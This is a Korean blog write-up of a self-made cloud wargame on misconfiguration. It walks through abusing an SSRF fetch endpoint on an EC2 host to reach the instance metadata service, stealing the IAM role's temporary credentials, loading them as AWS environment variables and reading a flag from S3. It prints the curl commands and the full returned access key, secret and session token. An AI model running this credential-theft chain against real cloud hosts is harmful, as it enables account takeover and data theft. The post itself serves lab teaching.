[Cloud] Mangnani Wargame

marceline·2025년 1월 6일
0

[Cloud]

목록 보기
7/7

https://github.com/mangnani-bob24/Mangnani

해당 워게임은 BoB 13기 프로젝트 기간에 제작하게 되었다.
시작은 금융권 망분리 규제완화 발표에 따라서 안전하게 SaaS와 생성형 AI 를 사용할 수 있는 방안을 제시하기 위해서였다.
해당 프로젝트의 일환으로, Cloud 환경에서 발생할 수 있는 CSA의 Top Threat 분류에 따른 클라우드 실습형 워게임을 제작하게 되었다.
팀 내에서 전체적인 워게임 구상이나 포괄적인 시나리오 구상을 맡았고, 내가 전적으로 맡은 CSA 위협분류는 1위, "Misconfiguration and inadequate change control." 였다.
따라서 이 포스팅에서는 해당 문제에 대한 풀이를 작성하려고한다!

Scenario Summary


해당 시나리오는 아래와 같은 순서로 문제풀이가 진행될 예정이다.

  1. start with Puvblic IP
  2. http://[publicIP]:5000 에서 metadata server 접근 url 힌트 확인
  3. curl 요청으로 metadata server 접근
  4. ec2에 연결된 role의 credential 확보
  5. configure 를 통한 권한 상승
  6. 현재 할당된 policy 들을 확인하고, s3 열거 권한을 확인
  7. s3를 열거하고, public 으로 설정된 버킷의 객체를 나열
  8. flag.txt 파일을 확인하고, 로컬환경에 복사하여 flag를 얻기

즉, metadata server로의 접근에 대한 잘못된 설정으로 S3 bucket 내 특정 객체에 대한 열람, 다운로드 권한을 악용하게 되는 시나리오 이다.

자세한 시나리오 리소스들이나 cheatsheet 등은 아래 링크를 통해서 볼 수 있다.
https://github.com/mangnani-bob24/Mangnani/tree/main/Misconfig


Misconfig WarGame Write-UP Start!

  1. 제공받은 URL 확인.

  1. 메타데이터 세부 정보 접근:

    curl 명령어로 실행

    • 메타데이터 서버의 특정 엔드포인트에 접근하여 추가 정보를 가져올 수 있다.
    • 예: instance-id 확인
      
      curl "http://<EC2_PUBLIC_IP>:5000/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"
      
      curl "http://[52.195.82.56](http://43.206.38.35:5000/):5000/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"

  1. IAM 자격증명 확인:
    - iam/security-credentials/ 엔드포인트를 통해 IAM 역할의 자격증명을 획득:

        ```bash
        curl "http://<EC2_PUBLIC_IP>:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
        
        curl "http://52.195.82.56:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
        ```
        
        ![image.png](https://prod-files-secure.s3.us-west-2.amazonaws.com/ece3c1f8-0cfa-4390-a4ec-2cf47e447453/fee10b00-6998-4461-a4b1-1f24cf4a95e8/image.png)
        
  2. IAM 자격증명 탈취

    ```python
        curl "http://52.195.82.56:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/misconfig-vulnEC2Role"
    ```

        ```python
        ❯ curl "http://52.195.82.56:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/misconfig-vulnEC2Role"
        
        {"code":200,"data":"{
        	\n  \"Code\" : \"Success\",\n  
        			\"LastUpdated\" : \"2024-12-09T15:30:46Z\",\n  
        			\"Type\" : \"AWS-HMAC\",\n  
        			\"AccessKeyId\" : \"ASIAYQYUBGUJ62WHAGH7\",\n  
        			\"SecretAccessKey\" : \"JLcFs1yKVa5yUb0/Em9f+7tRqQQ5Pi41tsvrXnCy\",\n  
        			\"Token\" : \"IQoJb3JpZ2luX2VjEL///////////wEaDmFwLW5vcnRoZWFzdC0xIkcwRQIhAMIOggkwOpW1q6h8IkZWvWrtt2PrP1n37nXepMhMUcZ0AiAzYLIXKChUE0Fu99lbZMoNvvOKFYdR1cOMhc4JVIYM/yrIBQh5EAAaDDU4NTc2ODE4NzE1NSIM16yz/q8KV/+iD0aNKqUFNlWnas+wauXgy4Nsyn3eN2cbgJsqv7uOHzVFo1BV/57xIA8BZ2KEOiR+mL1GKCL9HF63+Ly4o/dPciPiG/XRFwlmc2zRftLgKDFh+YJljkYZybwvZ2VvsndQhfv2Hs08kz2jAmPxCqPzG8jag1IEf0KvHw2SKUrZIM0YkjK1XTrENMPhTZAEvOUataOJv4fJpvyHja07hhKMyyQuAIG/Xi5cgD8XQNYDIJaKZYGHQetuaHvqSfmHF/08bbJ2caxG9aVdogN+EyLm0quSUiwHk0q0SPIqwE1+szWA2+GwUpX3NHBKTeEN6TXZZfbDMb/LqmllzTg19QCNASK82Eph3RC8mZaxvAkJjf+5oBT33RqCRjbbrayABD5iTsyKGv7vVkkfiLT7j/2/Ju1BKJ3Z0wuFS7MqvNKqG7E8OEdvP3gTzxQ4405oHDrWeuuIJTK2DqnqtVNOI3e+3PlhSI7mwy0I/ZO9qXCWrG2vPkZP+7tHb3XS9BgF/DIN/YjaA58r4ukkZJU4KL6dox+lKytpP386+grFe39AR+3aSBbY8wBKxSwbSZmtq9QlJOV0TFw7EbI3UYnh30A2vjL6VrTWSrz48SH8POB/ME6+0QkMd3klADaXuzmNZ36e7cIdUDW7b6KHhs4jQlLeVMWkevOnaSdHYtp9ECvKw3H+knDbwffx3QwO7g8fU2TWOWJUu9VJeOSC+a35aPvVzz5Z9R54Id2oQmfnJjFU9Pa5dT/WguJqcVl9T2sjVNv0xNT2GxObmI95lCr7luKMecJhXnGml/jjKTGQLn11salhR0nyaFYY4ltPanSmrt9UPobzduj7vi7oJRc4SMeuX1caYKHNLVL/4yqC8j0wLMdkV651Jde1hV5U4EntIuQZfNK4jLgMbgVm/iIwn5rcugY6sQEak7iizfJf5Qq+wbYGfZ7wyj274ioVioNxHxPn0IH1GNwOVH3pqGgMYae1hNdEjhTSVAbpQMSCmdP84lKQeKaw9JYXTNkzaSiB6Bam8IGCPxAX6gGbabq5HVgsvaLZQHVditL2YlFZ6AkrbyA58bCGeCRH+ZBj0Cicen3BbCen9cF+mQlifNzM3XbaddxFctD17K+s+dUijt28i+d82yIVA5X4Fz+r/ahZDWzRnDgh9kY=\",\n  
        			\"Expiration\" : \"2024-12-09T22:05:39Z\"\n}","status":"success"}
        ```
        

IAM 자격증명까지 탈취 완료!

  1. 탈취한 IAM 자격증명 등록하기
    해당 단계에서는 두가지 방법으로 할 수 있는데, 하나는 환경변수를 사용하는 것이고, 다른 하나는 프로필을 생성하는 것이다.
  • 환경변수 사용하는 방법

    export AWS_ACCESS_KEY_ID=ASIAYQYUBGUJ62WHAGH7
    export AWS_SECRET_ACCESS_KEY=JLcFs1yKVa5yUb0/Em9f+7tRqQQ5Pi41tsvrXnCy
    export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEL///////////wEaDmFw...
    
  • 새로운 프로필 생성하는 방법

    $ vi ~/.aws/credentials

  1. S3 의 모든 bucket enumerating

  1. 취약 S3 Bucket Object 탐색 후, Flag 열람하기

위와 같이 Flag 파일을 열람하면, 시나리오가 종료된다.
(flag 는 마스킹 처리 했다.)

0개의 댓글